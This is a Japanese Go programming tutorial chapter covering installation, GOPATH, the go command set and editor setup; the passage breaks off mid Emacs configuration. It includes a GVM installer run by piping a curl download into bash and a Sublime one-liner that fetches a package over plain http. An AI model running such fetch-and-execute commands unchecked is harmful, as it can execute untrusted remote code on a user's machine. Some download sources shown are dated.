1 GOの環境設定

目次

Goの世界へようこそ、さっそく初めてみましょう！

Goは新しい言語です、並列処理、ガベージコレクションを備え、軽快にプログラムできる言語です。以下のような特徴を持っています：

一台のコンピュータ上であっという間に大型のGoプログラムを作り出すことができます。

Goはソフトウェアの構造にモデルを提供します。分析をより簡単にこなせ、Cスタイルの頭にありがちなファイルとライブラリのincludeの大部分を省くことができます。

Goは静的型付け言語です。型には階層がありません。このためユーザは型の定義の関係に時間をとられることなく、典型的なオブジェクト指向言語よりももっとライトに感じるくらいです。

Goは完全にガベージコレクションタイプの言語です。また、並列処理とネットワークを基本的にサポートしています。

Goはマルチプロセッサ対応のソフトウェアを作成できるようデザインされています。

Goはコンパイラ型言語の一種です。インタプリタ型言語の軽い身のこなしと動的型付け言語の開発効率、それに静的型付け言語の安全性を兼ね備えています。また、モダンにネットワークとマルチプロセッサもサポートしています。これらの目標を達成するには、解決しなければならない言語上の問題がいくつかあります：表現力豊かだけれども軽いシステム、並列処理とガベージコレクション、厳格な依存定義などです。これらはライブラリやツール無しにはうまくいきません。Goもその要望に応えます。

この章ではGoのインストール方法と設定について述べます。

目次

Generated by md2min

1.1 Goのインストール

3つのインストール方法

Goソースコードのインストール

Go標準パッケージのインストール

自分の操作しているシステムが32bitか64bitか判断する方法。

Mac インストール

Linux インストール

Windows インストール

サードパーティツールのインストール

GVM

apt-get

homebrew

3つのインストール方法

Goにはいくつものインストール方法があります。どれでも好きなのを選んでかまいません。ここでは3つのよくあるインストール方法をご紹介しましょう：

ソースコードのインストール：標準的なインストール方法です。Unix系システムをよく使うユーザ、特に開発者にとってはお馴染みの方法です。

標準パッケージのインストール：Goは便利なインストールパッケージを用意しています。Windows, Linux, Macなどのシステムをサポートしています。初心者にはうってつけでしょう。システムのbit数に対応したインストールパッケージをダウンロードして、“Next”をたどるだけでインストールできます。

サードパーティツールによるインストール：現在便利なサードパーティパッケージも多くあります。たとえばUbuntuのapt-get、Macのhomebrewなどです。これらのシステムに慣れたユーザにはぴったりのインストール方法です。

最後に同じシステムの中で異なるバージョンのGoをインストールする場合は、GVMが参考になります。どうすればよいか分からない場合一番うまくできます。

Goソースコードのインストール

Goソースコードの中で、いくつかの部分はPlan 9 CとAT&Tコンパイラを使っています。そのため、もしあなたがソースコードをインストールしたい場合は、Cのコンパイルツールをインストールしておく必要があります。

Macシステムでは、Xcodeに適切なコンパイラが含まれています。

Unixシステムでは、gccなどのツールをインストールする必要があります。例えばUbuntuシステムではターミナルでsudo apt-get install gcc libc6-devを実行することでコンパイラをインストールすることができます。

Windowsシステムでは、MinGWをインストールする必要があります。その後MinGWでgccをインストールして、適切な環境変数を設定します。

GoはMercurialを使ってバージョン管理を行います、まずMercurialをインストールしなければ、ダウンロードできません。もしMercurialがインストールされているのであれば、以下のコードを実行します：

もしGoのインストールディレクトリが$GO_INSTALL_DIRだったとすると

hg clone -u release https://code.google.com/p/go
cd go/src
./all.bash

all.bashを実行後“ALL TESTS PASSED”が表示されると、インストール成功です。

上記はUnixスタイルのコマンドです、Windowsではインストール方法は似ており、all.batを実行するだけです。コンパイラはMinGWのgccを使います。

その後環境変数をいくつか設定します、

export GOROOT=$HOME/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN

下のような画像が現れると、インストール成功です。

図1.1 ソースコードインストール後Goコマンドを実行するの図

もしGoのUsage情報が現れたら、Goはインストールが成功しています：もしこのコマンドが存在しない場合は、自分のPATH環境変数のなかにGoのインストールディレクトリが含まれているか確認してください。

Go標準パッケージのインストール

Goはさまざまなプラットホームでインストールパッケージを提供しています、これらのパッケージはデフォルトで以下のディレクトリにインストールします：/usr/local/go（Windowsシステム：c:\Go）。当然これらのインストール場所を変更することもできます、ただし変更後はあなたの環境変数を以下のように設定する必要があります：

export GOROOT=$HOME/go
export PATH=$PATH:$GOROOT/bin

自分の操作しているシステムが32bitか64bitか判断する方法。

Goインストールの次はシステムのbit数の判断ですので、この章では先に自分のシステムの種類を確認しましょう。

WindowsシステムのユーザはWin+Rを押してcmdを実行してください。systeminfoと入力してエンターキーを押します。少しするとシステムの情報が現れます。“システムの種類”の一行に、“x64-based PC”と表示されていれば、64bitシステムです。もし“X86-based PC”とあれば、32bitシステムです。

Macユーザは直接64bit版を使用することをおすすめします。なぜなら、GoがサポートしているMac OS Xのバージョンはすでに32bitプロセッサをサポートしていないからです。

LinuxユーザはTerminalでarch(すなわち、uname -a)を実行することでシステムの情報を確かめることができます。

64bitシステムであれば以下のように表示されます。

x86_64

32bitシステムの場合は以下のように表示されます。

i386

Mac インストール

ダウンロードURLに接続し、32bitシステムはgo1.0.3.darwin-386.pkgをダウンロードします。64bitシステムであればgo1.0.3.darwin-amd64.pkgをダウンロードします。ファイルをダブルクリックし、すべてデフォルトで「次へ」ボタンをクリックします。これでgoはあなたのシステムにインストールされました。デフォルトでPATHの中に適切な~/go/binが追加されています。このとき端末を開き、goと入力します。

インストール成功の画像があらわれるとインストール成功です。

もしgoのUsage情報が現れた場合は、goはすでにインストールされています。もしこのコマンドが存在しないと出てきた場合は、自分のPATH環境変数の中にgoのインストールディレクトリが含まれているか確認してください。

Linux インストール

ダウンロードURLに接続し、32bitシステムはgo1.0.3.linux-386.tar.gzをダウンロードします。64bitシステムであればgo1.0.3.linux-amd64.tar.gzをダウンロードします。

今後はGoがインストールされたディレクトリを$GO_INSTALL_DIRと仮定します。

tar.gzをインストールディレクトリに解凍します：tar zxvf go1.0.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR

PATHを設定します。export PATH=$PATH:$GO_INSTALL_DIR/go/bin

その後、goを実行します。

図1.2 Linuxシステムでインストールに成功したあとgoを実行して表示される情報

もしgoのUsage情報が現れた場合は、goはすでにインストールされています。もしこのコマンドが存在しないと出てきた場合は、自分のPATH環境変数の中にgoのインストールディレクトリが含まれているか確認してください。

Windows インストール

Google Code ダウンロードページに接続し、32bit の場合は名前に windows-386 を含む msi パッケージをダウンロードします。64bit であれば名前に windows-amd64 を含むものをダウンロードします。ダウンロード後実行しますが、デフォルトのインストールフォルダである C:\Go\を変更してはいけません。他の場所にインストールしてしまうと、あなたが書いた Go コードが実行できなくなってしまうかもしれません。インストールが終わるとデフォルトで環境変数 Path に Go のインストールフォルダの下にある bin フォルダ C:\Go\bin\ が追加され、Go のインストールフォルダである C:\Go\ の値が環境変数 GOROOT に追加されます。

** インストールが成功しているか確認する **

「ファイル名を指定して実行」に cmd を入力することでコマンドラインツールを開きます。プロンプトでgoと入力することで Usage 情報が確認できるか確かめることができます。cd %GOROOT% を入力すると、Go のインストールフォルダに入れるか確認できます。どちらも成功していれば、インストールに成功しています。

インストールに成功していなければ、環境変数 Path と GOROOT の値を確認してください。もし存在しなければアンインストールの上再インストールし、存在していればコンピュータを再起動し、上の手順を再度お試しください。

サードパーティツールのインストール

GVM

gvmはサードパーティが開発したGoのバージョン管理ツールです。rubyのrvmツールに似ています。相当使い勝手がいいです。gvmをインストールするには以下のコマンド実行します：

bash < <(curl -s https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)

インストールが完了したあと、goをインストールすることができます：

gvm install go1.1
gvm use go1.1

下のコマンドで、毎回gvm useをコールする手間を省くことができます： gvm use go1.1 –default

上のコマンドを実行したあと、GOPATH、GOROOTなどの環境変数は自動的に設定されます。これで、直接利用することができます。

apt-get

Ubuntuは現在最も多く利用されているLinuxデスクトップシステムです。apt-getコマンドでソフトウェア・パッケージを管理します。下のコマンドでGoをインストールすることができます、今後のためgitとmercurialもインストールしておくべきでしょう：

sudo apt-get install python-software-properties
sudo add-apt-repository ppa:gophers/go
sudo apt-get update
sudo apt-get install golang-stable git-core mercurial

homebrew

homebrewはMacシステムで現在最も使用されているソフトウェア管理ツールです。現在Goをサポートしており、以下のコマンドでGoを直接インストールすることができます。今後のためgitとmercurialもインストールしておくべきでしょう：

brew update && brew upgrade
brew install go
brew install git
brew install mercurial

Generated by md2min

1.2 GOPATHとワーキングディレクトリ

GOPATH設定

アプリケーションディレクトリ構成

コンパイルアプリケーション

リモートパッケージの取得

プログラムの全体構成

GOPATH設定

go コマンドには重要な環境変数があります：$GOPATH¹

（注：これはGoのインストールディレクトリではありません。以下では筆者のワーキングディレクトリで説明します。ご自身のマシン上のワーキングディレクトリに置き換えてください。）

Unix に似た環境であれば大体以下のような設定になります： sh export GOPATH=/home/apple/mygo 上のディレクトリを新たに作成し、上の一行を.bashrcまたは.zshrcもしくは自分のshの設定ファイルに加えます。

Windows では以下のように設定します。新しくGOPATHと呼ばれる環境変数を作成します： sh GOPATH=c:\mygo GOPATHは複数のディレクトリを許容します。複数のディレクトリがある場合、デリミタに気をつけてください。複数のディレクトリがある場合Windowsはセミコロン、Linuxはコロンを使います。複数のGOPATHがある場合は、デフォルトでgo getの内容が第一ディレクトリとされます。

上の $GOPATH ディレクトリには３つのディレクトリがあります：

src にはソースコードを保存します（例えば：.go .c .h .s等）

pkg にはコンパイル後に生成されるファイル（例えば：.a）

bin にはコンパイル後に生成される実行可能ファイル（このまま $PATH 変数に加えてもかまいません。もしいくつもgopathがある場合は、${GOPATH//://bin:}/binを使って全てのbinディレクトリを追加してください）

以降私はすべての例でmygoを私のgopathディレクトリとします。

アプリケーションディレクトリ構成

パッケージとディレクトリの作成：$GOPATH/src/mymath/sqrt.go（パッケージ名：“mymath”）

以後私が新規に作成するアプリケーションまたはコードパッケージはsrcディレクトリに新規ディレクトリを作成します。ディレクトリ名はほぼコードパッケージの名前です。当然ネストしたディレクトリもありえます、例えば、srcの下にディレクトリ $GOPATH/src/github.com/astaxie/beedbというようなディレクトリを作成すると、このパッケージのパスは“github.com/astaxie/beedb”になります。パッケージ名は最後のディレクトリであるbeedbです。

以下のコードを実行します。 sh cd $GOPATH/src mkdir mymath sqrt.goというファイルを作成し、内容を以下のようにします。 ```go // $GOPATH/src/mymath/sqrt.goコードは以下の通り： package mymath

func Sqrt(x float64) float64 {
    z := 0.0
    for i := 0; i < 1000; i++ {
        z -= (z*z - x) / (2 * x)
    }
    return z
}

``` このように私のアプリケーションパッケージディレクトリとコードが作成されました。注意：一般的にpackageの名前とディレクトリ名は一致させるべきです。

コンパイルアプリケーション

上のとおり、我々はすでに自分のアプリケーションパッケージを作成しましたが、どのようにコンパイル/インストールすべきでしょうか？２種類の方法が存在します。

1、対応するアプリケーションパッケージディレクトリに入り、go installを実行すればインストールできます。

2，任意のディレクトリで以下のコードgo install mymathを実行します。

インストールが終われば、以下のディレクトリに入り sh cd $GOPATH/pkg/${GOOS}_${GOARCH} //以下のファイルが現れるはずです。 mymath.a この.aファイルはアプリケーションパッケージです。ならば我々はどのように実行できるでしょうか？

次にアプリケーション・プログラムを作成して実行します。

アプリケーションパッケージmathappを作ります。 sh cd $GOPATH/src mkdir mathapp cd mathapp vim main.go // $GOPATH/src/mathapp/main.goコード： ```go package main

import (
      "mymath"
      "fmt"
)

func main() {
      fmt.Printf("Hello, world.  Sqrt(2) = %v\n", mymath.Sqrt(2))
}

どのようにプログラムをコンパイルするのでしょうか？このアプリケーションディレクトリに入り、`go build`を実行すれば、このディレクトリの下にmathappの実行可能ファイルが生成されます。sh ./mathapp 以下のように出力されます。sh Hello, world. Sqrt(2) = 1.414213562373095 `` どのようにアプリケーションをインストールするのでしょうか。このディレクトリに入り、go install`を実行します。すると、$GOPATH/bin/の下に実行可能ファイルmathappが作成されますので、コマンドラインから以下のように入力することで実行することができます。

mathapp

この場合も以下のように出力されます。

Hello, world.  Sqrt(2) = 1.414213562373095

リモートパッケージの取得

go言語はリモートパッケージを取得するツールgo getを持っています。現在go getは多数のオープンソースリポジトリをサポートしています（github、googlecode、bitbucket、Launchpad）

go get github.com/astaxie/beedb

go get -u オプションはパッケージの自動更新を行います。また、go get時に自動的に当該のパッケージの依存する他のサードパーティパッケージを取得します。

このコマンドでふさわしいコードを取得し、対応するオープンソースプラットホームに対し異なるソースコントロールツールを利用します。例えばgithubではgit、googlecodeではhg。そのためこれらのコードを取得したい場合は、先に対応するソースコードコントロールツールをインストールしておく必要があります。

上述の方法で取得したコードはローカルの以下の場所に配置されます。

$GOPATH
  src
   |--github.com
          |-astaxie
              |-beedb
   pkg
    |--対応プラットフォーム
         |-github.com
               |--astaxie
                    |beedb.a

go getは以下のような手順を踏みます。まずはじめにソースコードツールでコードをsrcの下にcloneします。その後go installを実行します。

コードの中でリモートパッケージが使用される場合、単純にローカルのパッケージと同じように頭のimportに対応するパスを添えるだけです。

import "github.com/astaxie/beedb"

プログラムの全体構成

上記で作成したローカルのmygoのディレクトリ構造は以下のようになっています。

bin/
    mathapp
pkg/
    プラットフォーム名/ 例：darwin_amd64、linux_amd64
         mymath.a
         github.com/
              astaxie/
                   beedb.a
src/
    mathapp
          main.go
      mymath/
          sqrt.go
      github.com/
           astaxie/
                beedb/
                    beedb.go
                    util.go

上述の構成から明確に判断できるのは、binディレクトリの下にコンパイル後の実行可能ファイルが保存され、pkgの下に関数パッケージが保存され、srcの下にアプリケーションのソースコードが保存されているということです。

[1] Windowsシステムの環境変数の形式は%GOPATH%です。本書では主にUnix形式を使いますので、Windowsユーザは適時自分の環境に置き換えてください。

Generated by md2min

1.3 Goのコマンド

Goのコマンド

go build

go clean

go fmt

go get

go install

go test

go doc

その他のコマンド

Goのコマンド

Go言語は完全なコマンド操作ツールセットを持つ言語です。コマンドラインでgoを実行することでそれらを確認することができます：

図1.3 Goコマンドで詳細情報を表示

これらのコマンドは我々が普段コードを書いている時に非常に役立つものです。次に普段使用するコマンドを理解していきましょう。

go build

このコマンドは主にコンパイルテストに用いられます。パッケージのコンパイル作業中、もし必要であれば、同時に関連パッケージもコンパイルすることができます。

もし普通のパッケージであれば、我々が1.2章で書いたmypathパッケージのように、go buildを実行したあと、何のファイルも生成しません。もし$GOPATH/pkgの下に対応するファイルを生成する必要があれば、go installを実行してください。

もしそれがmainパッケージであれば、go buildを実行したあと、カレントディレクトリの下に実行可能ファイルが生成されます。もし$GOPATH/binの下に対応するファイルを生成する必要があれば、go installを実行するか、go build- o パス/a.exeを実行してください。

もしあるプロジェクトディレクトリに複数のファイルがある場合で、単一のファイルのみコンパイルしたい場合は、go buildを実行する際にファイル名を追加することができます。例えばgo build a.goです。go buildコマンドはデフォルトでカレントディレクトリにある全てのgoファイルをコンパイルしようと試みます。

コンパイル後に出力されるファイル名を指定することもできます。1.2章のmathappアプリケーションではgo build -o astaxie.exeと指定できます。デフォルトはpackage名（mainパッケージではない）になるか、ソースファイルのファイル名（mainパッケージ）になります。

（注：実際はpackage名はGo言語の規格においてコード中の“package”に続く名前になります。この名前はファイル名と異なっていても構いません。デフォルトで生成される実行可能ファイル名はディレクトリ名。

go buildはディレクトリ内の“_”または“.”ではじまるgoファイルを無視します。

もしあなたのソースコードが異なるオペレーティングシステムに対応する場合は異なる処理が必要となります。ですので異なるオペレーティングシステムの名称にもとづいてファイルを命名することができます。例えば配列を読み込むプログラムがあったとして、異なるオペレーティングシステムに対して以下のようなソースファイルがあるかもしれません。

arraylinux.go arraydarwin.go arraywindows.go arrayfreebsd.go

go buildの際、システム名の末尾のファイルから選択的にコンパイルすることができます（Linux、Darwin、Windows、Freebsd）

go clean

このコマンドは現在のソースコードパッケージのなかでコンパイラが生成したファイルを取り除く操作を行います。これらのファイルはすなわち：

_obj/            旧objectディレクトリ、MakeFilesが作成する。
_test/           旧testディレクトリ，Makefilesが作成する。
_testmain.go     旧gotestファイル，Makefilesが作成する。
test.out         旧testログ，Makefilesが作成する。
build.out        旧testログ，Makefilesが作成する。
*.[568ao]        objectファイル，Makefilesが作成する。

DIR(.exe)        go buildが作成する。
DIR.test(.exe)   go test -cが作成する。
MAINFILE(.exe)   go build MAINFILE.goが作成する。

私は基本的にこのコマンドを使ってコンパイルファイルを掃除します。ローカルでテストを行う場合これらのコンパイルファイルはシステムと関係があるだけで、コードの管理には必要ありません。

go fmt

読者にC/C++の経験があればご存知かもしれませんが、コードにK&Rスタイルを選択するかANSIスタイルを選択するかは常に論争となっていました。goでは、コードに標準のスタイルがあります。すでに培われた習慣やその他が原因となって我々は常にANSIスタイルまたはその他のより自分にあったスタイルでコードを書いて来ました。これは他の人がコードを閲覧する際に不必要な負担を与えます。そのためgoはコードのスタイルを強制し（例えば左大括弧はかならず行末に置く）、このスタイルに従わなければコンパイルが通りません。整形の時間の節約するため、goツールはgo fmtコマンドを提供しています。これはあなたの書いたコードを整形するのに役立ちます。あなたの書いたコードは標準のスタイルに修正されますが、我々は普段このコマンドを使いません。なぜなら開発ツールには一般的に保存時に自動的に整形を行ってくれるからです。この機能は実際には低レイヤではgo fmtを呼んでいます。この次の章で２つのツールをご紹介しましょう。この２つのツールはどれもファイルを保存する際にgo fmt機能を自動化させます。

go fmtコマンドの使用では、多くの場合はgofmtを使用しますが、-wオプションが必要になります。さもなければ、整形結果はファイルに書き込まれません。gofmt -w src、ですべての項目を整形することができます。

go get

このコマンドは動的にリモートコードパッケージを取得するために用いられます。現在BitBucket、GitHub、Google CodeとLaunchpadをサポートしています。このコマンドは内部で実際には2ステップの操作に分かれます：第1ステップはソースコードパッケージのダウンロード、第2ステップはgo installの実行です。ソースコードパッケージのダウンロードを行うgoツールは異なるドメインにしたがって自動的に異なるコードツールを用います。対応関係は以下の通りです：

BitBucket (Mercurial Git)
GitHub (Git)
Google Code Project Hosting (Git, Mercurial, Subversion)
Launchpad (Bazaar)

そのため、go getを正常に動作させるためには、あらかじめ適切なソースコード管理ツールがインストールされていると同時にこれらのコマンドがあなたのPATHに入っていなければなりません。実はgo getはカスタムドメインの機能をサポートしています。具体的な内容はgo help remoteを参照ください。

go install

このコマンドは実際には内部で2ステップの操作に分かれます。第1ステップはリザルトファイルの生成（実行可能ファイルまたはaパッケージ）、第2ステップはコンパイルし終わった結果を$GOPATH/pkgまたは$GOPATH/binに移動する操作です。

go test

このコマンドを実行すると、ソースコードディレクトリ以下の*_test.goファイルが自動的にロードされ、テスト用の実行可能ファイルが生成/実行されます。出力される情報は以下のようなものになります

ok   archive/tar   0.011s
FAIL archive/zip   0.022s
ok   compress/gzip 0.033s
...

デフォルトの状態で、オプションを追加する必要はありません。自動的にあなたのソースコードパッケージ以下のすべてのtestファイルがテストされます。もちろんオプションを追加しても構いません。詳細はgo help testflagを確認してください。

go doc

(1.2rc1 から go doc コマンドはなくなり、 godoc コマンドのみになります) 多くの人がgoはいかなるサードパーティドキュメントも必要としないと言っています。なぜなら例えばchmマニュアルのように（もっとも私はすでにchmマニュアルを作っていますが）、この中にすでに非常に協力なドキュメントツールが入っているからです。

どのように対応するpackageのドキュメントを確認すればよいでしょうか？ 例えばbuiltinパッケージであれば、go doc builtinと実行します。 もしhttpパッケージであれば、go doc net/httpと実行してください。 パッケージの中の関数を確認する場合はgodoc fmt Printfとしてください。 対応するコードを確認する場合は、godoc -src fmt Printfとします。

コマンドラインでコマンドを実行します。 godoc -http=:ポート番号 例えばgodoc -http=:8080として、ブラウザで127.0.0.1:8080を開くと、golang.orgのローカルのcopy版を見ることができます。これを通してpkgドキュメントなどの他の内容を確認することができます。もしあなたがGOPATHを設定されていれば、pkgカテゴリの中で、標準パッケージのドキュメントのみならず、ローカルのGOPATHのすべての項目に関連するドキュメントをリストアップすることができます。これはグレートファイアーウォールの中にいるユーザにとっては非常にありがたい選択です。

その他のコマンド

goは他にも様々なツールを提供しています。例えば以下のツール

    go fix は以前の古いバージョンのコードを新しいバージョンに復元するために使われます。例えばgo1の前の古いバージョンのコードをgo1に移動させます。
    go version はgoの現在のバージョンを確認します。
    go env は現在のgoの環境変数を確認します。
    go list は現在インストールされている全てのpackageをリストアップします。
    go run はGoプログラムのコンパイルと実行を行います。

以上これらのツールはまだ多くのオプションがあり、ひとつひとつはご紹介しませんが、ユーザはgo help コマンドで更に詳しいヘルプ情報を取得することができます。

Generated by md2min

1.4 Go開発ツール

LiteIDE

Sublime Text

Vim

Emacs

Eclipse

IntelliJ IDEA

本章ではいくつかの開発ツールをご紹介します。これらはすべて自動化を備えており、fmt機能を自動化します。なぜならこれらはすべてクロスプラットフォームであり、そのためインストール手順といったものはすべて同じものです。

LiteIDE

LiteIDEはGo言語の開発に特化したクロスプラットフォームの軽量統合開発環境(IDE)です。visualfcで書かれています。

図1.4 LiteIDEのメイン画面

LiteIDEの主な特徴：

主なオペレーティングシステムのサポート

Windows

Linux

MacOS X

Goコンパイル環境の管理と切り替え

複数のGoコンパイル環境の管理と切り替え

Go言語のクロスコンパイルのサポート

Go標準と同じ項目管理方式

GOPATHに基づいたパッケージブラウザ

GOPATHに基づいたコンパイルシステム

GOPATHに基づいたドキュメント検索

Go言語の編集サポート

クラスブラウザとアウトライン表示

Gocode(コード自動作成ツール)の完全なサポート

Go言語ドキュメントとApi高速検索

コード表現情報の表示F1

ソースコード定義とジャンプのサポートF2

Gdbブレークポイントとテストサポート

gofmt自動整形のサポート

その他の特徴

多言語メニューのサポート

完全にプラガブルな構成

エディタのカラーリングサポート

Kateに基づいた文法表示サポート

全文に基づく単語の自動補完

キーボードショートカットのバインディングサポート

Markdownドキュメントの編集サポート

リアルタイムプレビューと表示の同期

カスタムCSS表示

HTML及びPDFドキュメントのエクスポート

HTML/PDFドキュメントへの変換とマージ

LiteIDEインストール設定

LiteIDEインストール

ダウンロード http://code.google.com/p/golangide

ソースコード https://github.com/visualfc/liteide

まずGo言語環境をインストールし、その後オペレーティングシステムにしたがってLiteIDEの対応圧縮ファイルを直接解凍すれば使用できます。

Gocodeのインストール

Go言語の入力自動補完を起動するにはGocodeをインストールする必要があります：

go get -u github.com/nsf/gocode

コンパイル環境設定

自身のシステムの要求にしたがってLiteIDEが現在使用している環境変数を切り替えまたは設定します。

Windowsオペレーティングシステムの64bitGo言語の場合、
ツール欄の環境設定のなかでwin64を選択し、`編集環境`をクリックしてLiteIDEからwin64.envファイルを編集します。

GOROOT=c:\go
GOBIN=
GOARCH=amd64
GOOS=windows
CGO_ENABLED=1

PATH=%GOBIN%;%GOROOT%\bin;%PATH%
。。。

この中の`GOROOT=c:\go`を現在のGoのインストールパスに修正し、保存するだけです。もしMinGW64があれば、`c:\MinGW64\bin`をPATHの中に入れて、goによるgccのコールでCGOコンパイラのサポートを利用することができます。

Linuxオペレーティングシステムで64bitGo言語の場合、
ツール欄の環境設定の中からlinux64を選び、`編集環境`をクリックし、LiteIDEからlinux64.envファイルを編集します。

GOROOT=$HOME/go
GOBIN=
GOARCH=amd64
GOOS=linux
CGO_ENABLED=1

PATH=$GOBIN:$GOROOT/bin:$PATH
。。。

この中の`GOROOT=$HOME/go`を現在のGoのインストールパスに修正して保存します。

GOPATH設定

Go言語のツールキーはGOPATH設定を使用します。Go言語開発のプロジェクトのパスリストです。コマンドライン(LiteIDEでは`Ctrl+,`を直接入力できます)で`go help gopath`を入力するとGOPATHドキュメントを素早く確認できます。

LiteIDEでは簡単に確認でき、GOPATHを設定することができます。`メニュー-確認-GOPATH`設定を通じて、システム中に存在するGOPATHリストを確認することができます。
同時に必要な追加項目にそってカスタムのGOPATHリストに追加することができます。

Sublime Text

ここではSublime Text 2（以下「Sublime」）+GoSublime+gocode+Margoの組み合わせをご紹介します。なぜこの組み合わせなのでしょうか？

コード表示の自動化、以下の図の通り

図1.5 sublimeコードの自動化画面

保存した時にはコードが自動的に整形されています。あなたの書いたコードをより美しくGoの標準に合うよう仕上げてくれます。

プロジェクト管理のサポート

図1.6 sublimeプロジェクト管理画面

文法のハイライトサポート

Sublime Text 2はフリーで使用できます。保存回数が一定の量を超えると購入するかのダイアログが現れるので、継続利用をキャンセルするをクリックします。正式登録版とは何の違いもありません。

次はどのようにインストールするかご説明します。Sublimeダウンロードします。

自分のシステムに合わせて対応するバージョンをダウンロードし、Sublimeを開きます。Sublimeに詳しくない方はまずSublime Text 2 入門とテクニックの文章を読んでみてください。

開いた後、 Package Controlをインストールします。Ctrl+`でコマンドラインを開き、以下のコードを実行します：

import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation'

この時Sublimeを再度開き直してください。メニュー欄に一つ項目が増えているのがお分かりいただけるかと思います。これでPackage Controlが正しくインストールされました。

    図1.7 sublimeパッケージ管理

インストールが完了するとSublimeのプラグインをインストールできます。GoSublime, SidebarEnhancementsとGo Buildをインストールする必要があるので、プラグインをインストールしたあとSublimeを再起動させて有効にしてください。Ctrl+Shift+pでPackage Controlを開き、pcipを入力します。（これは“Package Control: Install Package”と省略されます）。

この時、左下のコーナーに現在読み込んでいるパッケージデータが表示されます。完了すると下のような画面になります。

    図1.8 sublimeプラグインのインストール画面

この時、GoSublimeと入力し、「確認」をクリックするとインストールが始まります。同じようにSidebarEnhancementsとGo Buildにも行います。

インストールが成功したかテストします。Sublimeを開き、main.goを開いて文法がハイライトされているのをご確認ください。importを入力してコードの自動表示がされます。import "fmt"のあとにfmt.を入力すると自動的に関数の候補が現れます。

もしすでにこのような表示がされる場合は、インストールが成功しており、自動補完が完了しています。

もしこのような表示がなされない場合、あなたの$PATHが正しく設定されていないのかもしれません。ターミナルを開き、gocodeを入力して、正しく実行できるか確認してください。もしダメであれば$PATHが正しく設定されていません。 (XP向け)たまたまターミナルでの実行が成功することもあります。しかしsublimeは何も知らせてくれないかデコードエラーが発生します。sublime text3とconvert utf8プラグインを試してみてください。

MacOSではすでに$GOROOT, $GOPATH, $GOBINが設定されていても自動的にはどうすればよいか教えてくれません。

sublimeにてcommand + 9を押し、envを入力して$PATH, $GOROOT, $GOPATH, $GOBINといった変数を確認します。もしなければ、以下の手順に従ってください。

まず下のシンボリックリンクを作成し、Terminalで直接sublimeを起動します

ln -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl /usr/local/bin/sublime

プロジェクトのサポート、sublimeにプロジェクト自身のpkgライブラリのサポートを示します。二種類の基本的な実装があります

ひとつは gosublime プラグインの Setting - user の設定

    {
        "env": { "GOPATH": "$HOME/golang:$GS_GOPATH" }
    }

$GS_GOPATH は gosublime の仮想的な環境変数です。自動的に.goファイルが存在する ~/go/src を探し出すことで、 ~/go/ をプロジェクトのパスと推測し、自動的に GOPATH を適用します。（注意：このような方法ではsublimeにおいてオリジナルのGOPATHを上書きしてしまいます。もしこの設定でエラーが発生した場合は、GOPATHに関連した問題が発生していることになります）

もうひとつは、sublime プロジェクトの保存です。 project_name.sublime-project を修正して項目を追加します

    "settings": {
        "GoSublime": {
            "env": {
                "GOPATH": "$HOME/golang/pwd" // ここをプロジェクトのパスに修正
            }
        }
    },

    "folders"{...

Vim

Vimはviから発展したテキストエディタです。コード補完、コンパイルまたエラージャンプなど、プログラミングに特化した機能が豊富です。広くプログラマに使用されています。

図1.9 VIMエディタのGoの自動補完画面

vimハイライト表示の設定

cp -r $GOROOT/misc/vim/* ~/.vim/

~/.vimrcファイルで文法のハイライト表示を追加します

filetype plugin indent on
syntax on

Gocodeをインストールします

go get -u github.com/nsf/gocode

gocodeはデフォルトで`$GOBIN`の下にインストールされています。

Gocodeを設定します。

~ cd $GOPATH/src/github.com/nsf/gocode/vim
~ ./update.bash
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"

>gocode setの２つのパラメータの意味を説明します：

>propose-builtins：はGoのビルトイン関数を補完するかです。タイプは定数です。デフォルトはfalseで、表示しません。

>lib-path:デフォルトで、gocodeは**$GOPATH/pkg/$GOOS_$GOARCH**と**$GOROOT/pkg/$GOOS_$GOARCH**ディレクトリのパッケージを検索するだけです。当然この設定には私達の外側のlibを検索できるようパスを設定することができます。

おめでとうございます。インストール完了です。あなたは今から:e main.goでGoで開発する面白さを体験することができます。

より多くのVIMの設定は、リンクをご参照ください。

Emacs

Emacsは伝説の神器です。彼女はエディタであるだけでなく、統合環境でもあります。または開発環境の集大成と呼んでもよいかもしれません。これらの機能はユーザの身を万能のオペレーティングシステムに置きます。

図1.10 EmacsでGoを編集するメイン画面

Emacsのハイライト表示設定

cp $GOROOT/misc/emacs/* ~/.emacs.d/

Gocodeをインストール

go get -u github.com/nsf/gocode

gocodeはデフォルトで`$GOBIN`の下にインストールされます。

Gocodeを設定

~ cd $GOPATH/src/github.com/nsf/gocode/emacs
~ cp go-autocomplete.el ~/.emacs.d/
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" // あなたのパスに置き換えてください。
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"

Auto Completionをインストールする必要があります。

AutoCompleteをダウンロードして解凍します。

~ make install DIR=$HOME/.emacs.d/auto-complete

~/.emacsファイルを設定します。

    ;;auto-complete
    (require 'auto-complete-config)
    (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict")
    (ac-config-default)
    (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline)
    (local-set-key "." 'semantic-complete-self-insert)
    (local-set-key ">" 'semantic-complete-self-insert)

詳細情報はこちらを参考にしてください：http://www.emacswiki.org/emacs/AutoComplete

.emacsを設定します。

;; golang mode
(require 'go-mode-load)
(require 'go-autocomplete)
;; speedbar
;; (speedbar 1)
(speedbar-add-supported-extension ".go")
(add-hook
'go-mode-hook
'(lambda ()
    ;; gocode
    (auto-complete-mode 1)
    (setq ac-sources '(ac-source-go))
    ;; Imenu & Speedbar
